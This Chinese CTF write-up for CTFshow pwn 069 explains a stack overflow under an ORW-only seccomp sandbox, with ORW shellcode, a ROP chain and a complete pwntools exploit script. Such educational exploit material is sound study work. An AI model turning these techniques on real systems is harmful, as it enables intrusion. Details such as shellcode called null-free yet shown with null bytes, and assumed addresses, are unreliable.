CTF Pwn 069:64位栈溢出与ORW沙箱逃逸实战解析

📅 2026/7/9 18:52:11 👁️ 阅读次数 📝 编程学习
CTF Pwn 069:64位栈溢出与ORW沙箱逃逸实战解析

1. 项目概述与核心挑战

最近在复盘CTFshow的pwn系列题目,做到pwn 069这一题时,感觉它把64位栈溢出、沙箱逃逸和Shellcode构造这几个点结合得非常巧妙,是一道检验综合能力的经典题目。题目本身是一个64位的可执行程序,开启了栈不可执行(NX)保护,并且通过seccomp沙箱机制严格限制了系统调用的使用。这意味着,我们无法像传统的栈溢出那样直接执行一个execve(“/bin/sh”)的Shellcode来getshell。题目的核心目标,变成了在沙箱的“牢笼”里,利用有限的、被允许的系统调用,去读取服务器上的一个特定文件(通常是flag),这也就是所谓的“ORW”(Open-Read-Write)利用链。

很多刚接触沙箱题的朋友可能会有点懵,感觉限制太多了无从下手。其实这道题的解题思路非常清晰,就像玩一个解谜游戏:第一步,利用栈溢出漏洞控制程序执行流;第二步,分析沙箱规则,搞清楚我们能“合法”使用哪些系统调用;第三步,根据允许的调用,构造一段能完成“打开文件->读取内容->输出内容”的Shellcode;第四步,将这段Shellcode布置到内存中并跳转执行。整个过程环环相扣,缺一不可。接下来,我就结合自己的解题过程,把这几个环节掰开揉碎了讲清楚,特别是64位汇编调用约定和seccomp规则分析这些容易卡壳的地方。

2. 环境准备与初步分析

拿到一个pwn题,第一步永远是信息收集。我们先用file命令看看程序的基本信息。

$ file pwn pwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=..., stripped

关键信息出来了:64位、静态链接、剥离了符号表。静态链接意味着我们无法利用动态链接库中的函数(如system),但好处是程序本身包含了所有需要的代码,或许能更容易地找到一些有用的gadget。剥离符号表则会让逆向分析稍微麻烦一点,函数名都没了。

接着用checksec检查安全机制:

$ checksec pwn Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)

这是一个非常典型的栈溢出漏洞环境:没有栈保护(Canary),栈不可执行(NX),并且没有地址随机化(PIE)。没有Canary让我们可以肆意覆盖返回地址;NX开启意味着我们不能直接在栈上执行代码,必须转向ROP或类似技术;没有PIE则让.text段的地址是固定的,我们能够可靠地计算和使用程序自身的代码片段(gadgets)。这些信息结合起来,基本确定了利用方向是栈溢出覆盖返回地址,构造ROP链

运行一下程序,看看它的交互逻辑。通常这类题目会有一个简单的输入点。

$ ./pwn Welcome to CTFshow pwn 069! Please input your name: AAAA Hello, AAAA!

程序会读取我们的输入并回显。直觉告诉我,这个读取输入的地方很可能就是漏洞点。我们需要用逆向工具(如IDA Pro, Ghidra, r2)进一步分析。由于是静态链接且 stripped,在IDA中打开后,直接找main函数可能不太方便,可以从程序的入口点_start或字符串交叉引用入手。通过搜索字符串“Welcome to CTFshow”或“Please input your name”,可以快速定位到主要函数。

注意:静态链接的程序体积通常很大,逆向时要有耐心。重点不是读懂所有代码,而是找到那个读取用户输入的缓冲区,并确定其大小和与返回地址的偏移。

3. 漏洞点定位与偏移计算

通过逆向分析(这里以伪代码示意),我们找到了类似如下的关键函数:

void vulnerable_function() { char buf[0x40]; // 假设缓冲区大小是0x40字节 puts("Please input your name:"); read(0, buf, 0x100); // 这里存在明显的栈溢出!读取了0x100字节,但buf只有0x40 printf("Hello, %s!\n", buf); }

漏洞非常清晰:buf是一个在栈上分配的、大小为0x40(64)字节的字符数组,但read函数允许读取最多0x100(256)字节的数据。这造成了栈溢出,我们可以覆盖vulnerable_function的返回地址,从而控制程序的执行流。

下一步是计算覆盖返回地址所需的精确偏移量。在64位程序中,参数传递和栈帧结构与32位有所不同,我们需要考虑:

  1. 缓冲区buf本身的大小。
  2. buf之后可能存在的对齐填充(padding)。
  3. 保存的基址指针(RBP)的位置。
  4. 最后才是返回地址(RIP)。

最可靠的方法是动态调试。使用gdb,在read函数返回后下断点,查看栈布局。

$ gdb ./pwn (gdb) pattern create 200 'AAA...' (生成一个200字节的特定模式字符串) (gdb) r ... 程序运行,输入模式字符串 ... (gdb) x/gx $rsp ... 查看栈顶 ... (gdb) info frame ... 查看栈帧信息 ...

更常用的方法是利用cyclic工具(来自pwntools)生成一段唯一字符串,输入后程序崩溃时,记录下触发崩溃的地址值,再用cyclic -l <地址值>反推出偏移量。

假设我们通过调试计算出偏移量是0x40 + 8 = 0x48(72)字节。这意味着,我们需要先填充72个字节的垃圾数据(如b'A'*72),之后写入的8个字节(64位地址)就会精确覆盖到返回地址上。

实操心得:在计算64位偏移时,经常容易忽略rbp本身也占8个字节。所以偏移量通常是buffer_size + 8(rbp)。使用cyclic工具能极大减少手动计算错误。另外,静态链接程序内部可能调用其他函数,栈布局稍有不同,一定要以动态调试结果为准。

4. Seccomp沙箱规则深度解析

控制了返回地址,接下来往哪跳?传统思路是跳转到system(“/bin/sh”)或者布置一个Shellcode。但题目描述和checksec提示我们,存在seccomp沙箱。我们必须先搞清楚这个沙箱到底允许我们做什么。

seccomp(secure computing mode)是Linux内核提供的一种沙箱机制,可以严格限制进程能够使用的系统调用。题目通常会在main函数或初始化函数中调用prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, filter)来设置规则。

我们需要将沙箱规则(即filter)提取出来进行分析。有两种常用方法:

方法一:静态分析提取在IDA中,找到设置seccomp的代码,其第三个参数通常是一个指向struct sock_fprog的指针,里面包含了伯克利包过滤器(BPF)指令。我们可以写一个脚本将这些指令dump出来,或者使用seccomp-tools这个神器。

方法二:动态调试dump在gdb中,在调用prctl处下断点,打印出filter指针指向的内存内容,保存为文件。

这里强烈推荐使用seccomp-tools,它可以直接对二进制文件进行解析:

$ seccomp-tools dump ./pwn line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x06 0xffffffff if (A != 0xffffffff) goto 0011 0005: 0x15 0x04 0x00 0x00000000 if (A == read) goto 0010 0006: 0x15 0x03 0x00 0x00000001 if (A == write) goto 0010 0007: 0x15 0x02 0x00 0x00000002 if (A == open) goto 0010 0008: 0x15 0x01 0x00 0x0000003c if (A == exit) goto 0010 0009: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0011 0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0011: 0x06 0x00 0x00 0x00000000 return KILL

分析这段BPF代码,逻辑非常清晰:

  1. 检查架构是否为x86_64ARCH_X86_64),不是则KILL
  2. 检查系统调用号是否小于0x40000000(通常为真),并过滤一个无效值。
  3. 允许的系统调用有:read(0),write(1),open(2),exit(60),exit_group(231)。
  4. 任何其他系统调用都会导致进程被KILL

这就是典型的ORW沙箱!它只允许我们打开文件、读取文件、写入数据(到标准输出),以及退出进程。像execve,system,mprotect这些用于getshell或修改内存属性的调用都被禁用了。因此,我们的利用目标非常明确:构造一段只使用openreadwrite这三个系统调用的Shellcode,来读取flag文件。

注意事项:seccomp-tools的输出是反汇编的BPF指令,需要一点耐心阅读。关键看return ALLOW前面的那些条件判断,它们就是白名单。sys_number对应的数字需要查表(如/usr/include/asm/unistd_64.h)来确认具体是哪个系统调用。

5. 64位ORW Shellcode构造详解

既然只能使用openreadwrite,我们就需要手写或组装一段Shellcode。在64位Linux下,系统调用通过syscall指令触发,参数通过寄存器传递:

  • rax: 系统调用号
  • rdi: 第一个参数
  • rsi: 第二个参数
  • rdx: 第三个参数
  • r10: 第四个参数(注意,不是rcx
  • r8: 第五个参数
  • r9: 第六个参数

我们的目标是:打开名为flag的文件,读取其内容,然后将内容写到标准输出(文件描述符1)。

步骤一:打开文件(open)

  • 系统调用号:open= 2 (/usr/include/asm/unistd_64.h#define __NR_open 2)
  • 参数:
    • rdi: 文件路径字符串的地址。我们需要在内存中布置字符串"flag""./flag"
    • rsi: 打开标志(flags)。通常只读打开用O_RDONLY= 0。
    • rdx: 模式(mode)。打开已存在文件时可设为0。
  • 返回值:成功时返回文件描述符(一个小的非负整数),会存放在rax中。我们需要保存这个值,供后续read使用。

步骤二:读取文件内容(read)

  • 系统调用号:read= 0
  • 参数:
    • rdi: 文件描述符,即上一步open的返回值。
    • rsi: 缓冲区的地址,用于存放读出的数据。我们需要一块可写的内存区域。
    • rdx: 要读取的字节数。可以设置一个较大的值,比如0x100。
  • 返回值:实际读取的字节数,存放在rax中。这个值可以用于后续write指定长度。

步骤三:写入标准输出(write)

  • 系统调用号:write= 1
  • 参数:
    • rdi: 文件描述符。标准输出是1。
    • rsi: 要写入的数据的地址,即上一步read使用的缓冲区地址。
    • rdx: 要写入的字节数,即上一步read的返回值。

Shellcode汇编实现我们需要用汇编指令实现上述逻辑,并确保Shellcode是位置无关的(PIC),且不包含空字节(\x00,因为空字节会被C字符串函数截断)。下面是一段经典的64位ORW Shellcode汇编:

section .text global _start _start: ; 1. 将字符串 "flag" 压入栈中 xor rax, rax push rax ; 字符串结尾的 null 字节 mov rbx, 0x67616c66 ; 'g','a','l','f' 即 "flag" 的十六进制表示 (注意小端序) push rbx mov rdi, rsp ; rdi 现在指向栈上的字符串 "flag\0" ; 2. 调用 open(rdi, O_RDONLY, 0) xor rsi, rsi ; flags = O_RDONLY = 0 xor rdx, rdx ; mode = 0 mov rax, 2 ; syscall number for open syscall ; 3. 将返回的文件描述符保存到 rbx 中 mov rbx, rax ; 4. 调用 read(rbx, rsp, 0x100) mov rdi, rbx ; fd = 刚才 open 返回的 fd mov rsi, rsp ; buf = 栈空间作为缓冲区 mov rdx, 0x100 ; count = 读取 0x100 字节 xor rax, rax ; syscall number for read = 0 syscall ; 5. 调用 write(1, rsp, rax) mov rdx, rax ; count = read 实际返回的字节数 mov rdi, 1 ; fd = 1 (stdout) mov rsi, rsp ; buf = 栈上存放 flag 内容的地方 mov rax, 1 ; syscall number for write syscall ; 6. 退出程序 (可选) mov rax, 60 ; syscall number for exit xor rdi, rdi syscall

将这段汇编代码保存为orw.asm,然后用nasm编译并提取机器码:

$ nasm -f elf64 orw.asm -o orw.o $ ld orw.o -o orw $ objdump -d orw | grep -A50 "<_start>:" | grep -oP '\t[0-9a-f]{2}( [0-9a-f]{2})*' | tr -d '\t' | sed 's/ /\\x/g'

你会得到一串类似\x48\x31\xc0\x50\x48\xbb\x66\x6c\x61\x67\x00\x00\x00\x00\x53\x48\x89\xe7...的Shellcode。注意,我们上面汇编代码中mov rbx, 0x67616c66后直接push rbx,会在栈上形成66 6c 61 67 00 00 00 00(即"flag\0\0\0\0"),因为rbx是64位寄存器,推入的是8字节。为了更精简,可以优化为只推入4字节,但需要处理对齐。上面的写法是清晰且可用的。

核心技巧:构造Shellcode时,优先使用xormov等指令来清零或赋值寄存器,避免直接出现\x00。字符串要倒序推入栈中(小端序)。syscall指令的机器码是\x0f\x05。在实战中,也可以使用pwntoolsshellcraft模块来生成ORW Shellcode,非常方便:shellcode = asm(shellcraft.amd64.linux.cat('flag'))

6. 利用链设计与ROP Gadget寻找

现在我们有了Shellcode,但NX保护阻止我们在栈上执行它。我们需要将Shellcode写入一个可写且可执行的内存区域,然后跳转过去。然而,静态链接的程序中,通常所有段(包括栈、堆、数据段)的权限在链接时就已经确定,NX开启后很难找到现成的可执行页面。

这时,我们需要转换思路:利用ROP(Return-Oriented Programming)技术,调用mprotectmmap等系统调用来创建或修改出一块可执行内存!但是,seccomp沙箱禁止了mprotect(系统调用号10)和mmap(系统调用号9)。

这就陷入了死循环吗?并非如此。仔细回顾沙箱规则,它只限制了系统调用。而mprotectmmap是C库函数,它们内部最终会触发系统调用。沙箱禁止的是syscall指令发起的特定调用号。但是,程序本身是静态链接的,它的.text段里已经包含了mprotectmmap函数的完整机器码。如果我们能控制程序执行流,让它直接执行libc中的mprotect函数代码(而不是通过syscall指令),那么内核在执行该系统调用时,检查的是当前进程的上下文,而该进程的沙箱规则已经生效,所以mprotect的系统调用依然会被拦截。

因此,在严格的ORW沙箱下,直接调用mprotect是不可行的。我们必须寻找其他路径。一个关键的突破口是:虽然栈不可执行,但我们可以将Shellcode写入一个可写的内存区域(如.bss段或堆),然后寻找一种方法,让这段内存变得可执行。

在有些题目中,程序可能本身使用了mmap分配了具有PROT_EXEC权限的内存,或者存在某些函数指针(如atexit、回调函数)指向可写区域。但在本题(pwn 069)的典型解法中,我们发现了更巧妙的路径:利用read函数本身

read函数的作用是将数据从文件描述符读入缓冲区。它的第三个参数rdx是读取的长度。如果我们能控制rdx为一个很大的值(比如0x1000),并且控制目标地址rsi为某个内存区域,那么read就可以向该区域写入大量我们控制的数据,包括Shellcode。

那么,如何执行这段Shellcode呢?如果该内存区域不可执行,跳转过去就会触发段错误。这里就需要用到栈迁移(Stack Pivoting)技术。我们可以将栈指针rsp迁移到我们可控的、存放了Shellcode的缓冲区附近,然后通过ret指令,让CPU从这块缓冲区中“取指执行”。但NX保护下,数据区不可执行,ret指令从数据区读取的“指令”不会被真正执行,只会被当作地址,导致控制流再次跳转。

因此,纯粹的栈迁移在NX开启时不能直接执行代码。我们需要一个可执行的内存页。在静态链接程序中,.text段是可执行的。我们的Shellcode能否放入.text段?.text段通常是只读的。

最终的解决方案,往往依赖于题目本身提供的“巧合”。经过对二进制文件的仔细搜索,我们可能会发现:

  1. 程序中存在一段可读可写可执行(RWX)的内存区域。这在不严谨的编译选项或特定链接脚本下可能出现。
  2. 程序在初始化时,通过mmap或类似方式分配了一块具有执行权限的内存,并且其地址是固定的或可预测的。
  3. 存在一个已知地址的、内容完全可控的缓冲区(比如一个全局数组char buf[0x1000]),并且这个缓冲区所在的段(如.data.bss)被错误地赋予了执行权限(虽然这种情况在现代编译环境下很少见)。

在pwn 069的常见预期解中,通常是第一种或第二种情况。我们需要用ROP链完成以下步骤:

  1. 将ORW Shellcode写入一块已知地址的、可执行的内存区域(记为shellcode_addr)。
  2. 跳转到shellcode_addr执行。

为了写入Shellcode,我们需要一个“写内存”的原语。这可以通过ROP调用read函数实现:控制rdi=0(标准输入),rsi=shellcode_addrrdx=len(shellcode),然后调用read的PLT项或函数地址。这需要我们能控制这三个参数。

因此,我们的ROP链需要以下gadgets:

  • pop rdi; ret:用于控制第一个参数。
  • pop rsi; ret:用于控制第二个参数。
  • pop rdx; retpop rdx; pop r??; ret:用于控制第三个参数。控制rdx的gadget有时比较难找,也可以寻找pop rdx; ret,或者通过其他寄存器间接控制(如mov rdx, rax; ret)。
  • pop rax; ret:用于控制系统调用号(如果需要直接进行syscall)。
  • syscall; ret:用于触发系统调用。
  • 此外,还需要ret指令来串联各个gadget。

在静态链接的、剥离了符号表的二进制文件中,寻找gadget是一项耐心的工作。可以使用ROPgadgetropperpwntoolsROP模块来搜索。

$ ROPgadget --binary ./pwn > gadgets.txt $ grep "pop rdi" gadgets.txt $ grep "pop rsi" gadgets.txt $ grep "pop rdx" gadgets.txt $ grep "syscall" gadgets.txt $ grep "ret" gadgets.txt | head -20

假设我们找到了以下关键gadgets的地址(地址需根据题目具体分析):

  • pop rdi; ret:0x4011ab
  • pop rsi; pop r15; ret:0x4011a9(注意,这里多弹出了一个r15,我们需要在链中为它填充一个无关值)
  • pop rdx; ret:0x401234(假设)
  • syscall; ret:0x401567

同时,我们还需要一块可执行内存的地址。假设通过分析,我们发现程序在0x402000处有一块0x1000大小的RWX内存(例如,通过查看/proc/self/maps或分析程序初始化代码)。

那么,构造ROP链的payload结构如下:

payload = b'A' * offset # 填充至返回地址 payload += p64(pop_rdi_ret) # 设置 read 的第一个参数:fd = 0 (stdin) payload += p64(0) payload += p64(pop_rsi_r15_ret) # 设置 read 的第二个参数:buf = 可执行内存地址 payload += p64(executable_addr) # 例如 0x402000 payload += p64(0) # 填充 r15 的垃圾数据 payload += p64(pop_rdx_ret) # 设置 read 的第三个参数:count = Shellcode长度 payload += p64(len(shellcode)) payload += p64(read_plt_addr) # 调用 read 函数,等待我们输入 Shellcode # read 函数返回后,会返回到我们链中的下一个地址 payload += p64(executable_addr) # 直接跳转到我们刚刚写入 Shellcode 的地址

发送这个payload后,程序会执行read(0, executable_addr, len(shellcode)),然后暂停等待我们的输入。此时,我们再发送我们精心构造的、不含空字节的ORW Shellcode。程序接收到Shellcode后,read函数返回,接着执行ret指令,弹栈得到executable_addr并跳转过去,最终执行我们的Shellcode。

避坑指南:在构造ROP链时,务必注意栈平衡。每个gadget执行后的ret指令都会从栈顶弹出下一个地址来跳转。确保你的payload中,在函数调用(如read)之后的下一个地址是你希望继续执行的位置。另外,如果gadget会pop多个寄存器(如pop rsi; pop r15; ret),一定要记得在payload中为每一个被pop的寄存器都提供一个值(哪怕是0),否则栈指针会错乱,导致后续链失效。

7. 完整利用脚本编写与调试

将上述所有步骤结合起来,我们就可以编写一个完整的利用脚本了。这里使用pwntools框架,因为它能极大简化本地调试和远程交互的过程。

#!/usr/bin/env python3 from pwn import * context(arch='amd64', os='linux') # context.log_level = 'debug' # 调试时开启 # 根据题目启动方式选择 # p = process('./pwn') # 本地运行 p = remote('xxx.xxx.xxx.xxx', 9999) # 连接远程 # 1. 计算偏移量 (假设为72) offset = 72 # 2. 关键地址 (需要根据实际题目替换!!!) pop_rdi_ret = 0x4011ab pop_rsi_r15_ret = 0x4011a9 pop_rdx_ret = 0x401234 read_plt = 0x401050 # read函数的PLT地址或函数地址 executable_addr = 0x402000 # 可读可写可执行的内存区域地址 # 3. 构造ROP链,用于调用read将shellcode写入可执行区域 rop_chain = b'A' * offset rop_chain += p64(pop_rdi_ret) # rdi = 0 (stdin) rop_chain += p64(0) rop_chain += p64(pop_rsi_r15_ret) # rsi = executable_addr rop_chain += p64(executable_addr) rop_chain += p64(0) # 填充r15 rop_chain += p64(pop_rdx_ret) # rdx = shellcode长度 (稍后确定) # 先占位,发送ROP链后再发送shellcode shellcode_len = 200 # 预留足够空间 rop_chain += p64(shellcode_len) rop_chain += p64(read_plt) # 调用read(0, executable_addr, shellcode_len) rop_chain += p64(executable_addr) # read返回后,跳转到shellcode执行 # 4. 发送ROP链 p.recvuntil(b'Please input your name:\n') p.send(rop_chain) # 5. 构造ORW Shellcode (使用pwntools的shellcraft快速生成) # 注意:shellcraft.cat('flag') 生成的shellcode可能包含openat等,需确保符合沙箱规则 # 更稳妥的是使用严格的open/read/write shellcode = asm(''' /* 将字符串 "flag" 压栈 */ xor rax, rax push rax mov rbx, 0x67616c66 /* 'flag' */ push rbx mov rdi, rsp /* open(rdi, O_RDONLY, 0) */ xor rsi, rsi xor rdx, rdx mov rax, 2 syscall /* read(fd, rsp, 0x100) */ mov rdi, rax mov rsi, rsp mov rdx, 0x100 xor rax, rax syscall /* write(1, rsp, rax) */ mov rdx, rax mov rdi, 1 mov rsi, rsp mov rax, 1 syscall /* exit(0) */ mov rax, 60 xor rdi, rdi syscall ''') # 6. 发送Shellcode p.send(shellcode.ljust(shellcode_len, b'\x90')) # 用nop指令填充到指定长度 # 7. 接收flag p.interactive()

脚本编写与调试要点:

  1. 地址替换:脚本中的pop_rdi_retexecutable_addr等关键地址必须替换为题目二进制文件中的实际值。这需要通过逆向工程和动态调试来获取。
  2. 偏移量确认offset变量必须准确。使用cyclicgdb反复验证。
  3. Shellcode长度shellcode_len需要足够容纳你的Shellcode。可以先用len(shellcode)计算实际长度,并留一些余量。在发送时用nop(\x90)填充是个好习惯。
  4. 调试技巧:在脚本开头加上context.log_level = 'debug',可以看到所有发送和接收的数据,对于排查问题非常有用。在关键函数(如read)调用前后下断点,观察寄存器和内存状态是否符合预期。
  5. 本地测试:务必先在本地用process('./pwn')测试通过,再尝试远程。本地测试时可以搭配gdb.attach(p)进行动态调试。

注意事项:生成的Shellcode务必检查是否包含空字节(\x00),因为read函数虽然可以读入空字节,但某些字符串处理函数可能会截断。使用pwntoolsasm函数生成的Shellcode通常是干净的。可以用print(shellcode.hex())来检查。

8. 常见问题与排查技巧实录

在实际操作中,你可能会遇到各种各样的问题。这里记录几个我踩过的坑和解决方法:

问题1:ROP链执行后程序崩溃,报错SIGSEGV

  • 可能原因1:偏移量计算错误。这是最常见的问题。覆盖的返回地址没有对准真正的返回地址,导致栈失衡。排查方法:在gdb中运行脚本,在溢出函数返回时(ret指令)下断点,观察栈顶(rsp指向的内容)是否是你ROP链的第一个gadget地址。如果不是,调整偏移量。
  • 可能原因2:gadget地址错误或不可执行。静态链接程序中可能存在多个相似的gadget,要确认找到的gadget地址确实指向正确的指令序列。排查方法:在gdb中用x/i <address>查看该地址的指令,确认是pop rdi; ret而不是其他指令。同时检查该地址是否在程序的.text段内(具有可执行权限)。
  • 可能原因3:栈对齐问题。某些系统调用或函数(特别是涉及SSE指令的)要求栈指针rsp在调用时是16字节对齐的。而ret指令会pop一个8字节地址,可能导致栈不对齐。解决方法:在ROP链中插入一个单独的ret指令(地址通常很容易找到)来调整栈对齐。例如:payload += p64(ret_gadget) + p64(pop_rdi_ret)...

问题2:成功跳转到Shellcode,但执行open系统调用后返回负值(错误)。

  • 可能原因1:文件路径错误。Shellcode中指定的文件路径(如"flag")在服务器上可能不存在,或者路径不对(可能需要"./flag""/flag")。排查方法:查看open的返回值(rax寄存器)。如果为负数,其绝对值就是错误码(如-2表示ENOENT,文件不存在)。可以尝试在Shellcode中打印错误码,或者多尝试几种路径。
  • 可能原因2:沙箱规则更严格。可能只允许openat而不是open,或者对open的标志位有要求。解决方法:重新仔细分析seccomp规则。使用seccomp-tools的详细模式:seccomp-tools dump -f inspect ./pwn。确保你的系统调用号完全匹配白名单。

问题3:read函数成功返回,但跳转到executable_addr后没有任何输出,程序静默退出。

  • 可能原因1:内存区域不可执行。这是最可能的原因。你选择的executable_addr可能只有读写权限,没有执行权限。跳转过去后,CPU尝试从该地址取指,会触发SIGSEGV排查方法:在gdb中,在跳转前用vmmap命令(或info proc mappings)查看executable_addr所在内存区域的权限。确保有x(执行)权限。
  • 可能原因2:Shellcode被截断或覆盖。read函数读取的字节数可能不足,或者后续的代码覆盖了Shellcode。排查方法:在read函数返回后,于executable_addr处下断点,用x/20i executable_addr查看内存中的指令是否是你的Shellcode。如果不是,检查read的参数是否正确,以及发送的Shellcode是否完整。
  • 可能原因3:Shellcode自身有bug。比如寄存器保存与恢复出错,或者触发了非法指令。解决方法:将Shellcode单独提取出来,写一个简单的C程序测试其功能。或者使用pwntoolsshellcraft生成的、经过验证的Shellcode。

问题4:远程可以打通,但拿不到flag,或者输出乱码。

  • 可能原因1:flag文件不在当前目录。题目可能将flag放在其他路径,如/home/pwn/flag/flag等。解决方法:尝试常见的flag路径,或者用/proc/self/cwd/flag指向当前工作目录。有时题目描述或源码会提示。
  • 可能原因2:输出被缓冲。write系统调用成功,但数据可能被标准输出缓冲机制卡住,没有立即显示。解决方法:在Shellcode的write调用后,添加一个exitexit_group系统调用,强制进程结束并刷新缓冲区。或者尝试写入文件描述符2(stderr),它通常是无缓冲的。
  • 可能原因3:网络连接问题。远程服务器可能关闭了连接,或者输出被截断。排查方法:在脚本中,尝试循环接收直到连接关闭:print(p.recvall().decode())

通用调试命令速查表:

场景GDB 命令作用
计算偏移cyclic 200
cyclic -l 0x6161616c
生成定位字符串,计算偏移量
查看内存映射vmmapinfo proc mappings查看各内存段权限,找RWX区域
查看寄存器i rinfo registers查看所有寄存器值
查看栈内存x/10gx $rsp查看栈顶10个8字节内容
反汇编地址x/i 0x401000查看地址处的指令
下断点b *0x401234
b read
在地址或函数处下断点
继续执行c继续运行程序
单步执行ni(next instruction)
si(step into)
单步调试
附加进程gdb.attach(p)(在pwntools脚本中)将gdb附加到运行中的进程

最后,pwn 069这道题的精髓在于将栈溢出、ROP链构造、沙箱绕过和Shellcode编写串联起来。它要求你对64位调用约定、系统调用、内存布局和漏洞利用的整个链条有清晰的理解。每一步的失误都可能导致前功尽弃,耐心调试和严谨分析是成功的关键。当你看到终端上打印出flag{...}的那一刻,你会觉得这一切都是值得的。